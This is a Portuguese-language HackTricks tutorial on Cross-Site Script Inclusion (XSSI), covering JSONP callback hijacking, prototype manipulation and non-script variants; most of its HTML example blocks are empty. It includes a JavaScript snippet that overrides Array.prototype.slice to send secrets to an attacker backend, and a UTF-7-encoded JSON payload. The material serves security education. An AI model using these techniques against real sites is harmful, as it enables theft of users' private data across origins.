# XSSI (Inclusão de Script de Sites Cruzados)
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## Informações Básicas
XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um **recurso é incluído usando a tag `script`, a SOP não se aplica**, porque os scripts devem poder ser incluídos entre domínios. Um atacante pode assim **ler tudo** que foi incluído usando a **tag `script`**.
Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiente, como cookies, são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente.
### Tipos
1. JavaScript Estático (XSSI regular)
2. JavaScript Estático, que só é acessível quando autenticado
3. JavaScript Dinâmico
4. Não-JavaScript
**As seguintes informações são um resumo de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Consulte para mais detalhes.
### XSSI Regular
Neste método, informações privadas são incorporadas em um arquivo JavaScript globalmente acessível. Os atacantes podem identificar esses arquivos usando métodos como leitura de arquivos, pesquisas de palavras-chave ou expressões regulares. Uma vez localizado, o script contendo informações privadas pode ser incluído em conteúdo malicioso, permitindo acesso não autorizado a dados sensíveis. Uma técnica de exploração de exemplo é mostrada abaixo:
```html
```
### XSSI baseado em JavaScript dinâmico e XSSI autenticado em JavaScript
Esses tipos de ataques XSSI envolvem informações confidenciais sendo adicionadas dinamicamente ao script em resposta a uma solicitação do usuário. A detecção pode ser realizada enviando solicitações com e sem cookies e comparando as respostas. Se as informações diferirem, isso pode indicar a presença de informações confidenciais. Esse processo pode ser automatizado usando ferramentas como a extensão Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Se os dados confidenciais estiverem armazenados em uma variável global, eles podem ser explorados usando métodos semelhantes aos usados no XSSI Regular. No entanto, se os dados confidenciais estiverem incluídos em uma resposta JSONP, os atacantes podem sequestrar a função de retorno de chamada para recuperar as informações. Isso pode ser feito manipulando objetos globais ou configurando uma função para ser executada pela resposta JSONP, conforme demonstrado abaixo:
```html
```
```html
```
Para variáveis que não residem no namespace global, *manipulação de protótipo* às vezes pode ser explorada. Essa técnica aproveita o design do JavaScript, onde a interpretação de código envolve percorrer a cadeia de protótipos para localizar a propriedade chamada. Ao substituir certas funções, como `slice` do `Array`, os atacantes podem acessar e vazar variáveis não globais:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Mais detalhes sobre vetores de ataque podem ser encontrados no trabalho do Pesquisador de Segurança [Sebastian Lekies](https://twitter.com/slekies), que mantém uma lista de [vetores](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
A pesquisa de Takeshi Terada introduz outra forma de XSSI, onde arquivos Non-Script, como CSV, são vazados entre origens ao serem incluídos como fontes em uma tag `script`. Instâncias históricas de XSSI, como o ataque de 2006 de Jeremiah Grossman para ler um catálogo de endereços completo do Google e o vazamento de dados JSON de 2007 de Joe Walker, destacam a gravidade dessas ameaças. Além disso, Gareth Heyes descreve uma variante de ataque envolvendo JSON codificado em UTF-7 para escapar do formato JSON e executar scripts, eficaz em certos navegadores:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
```
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.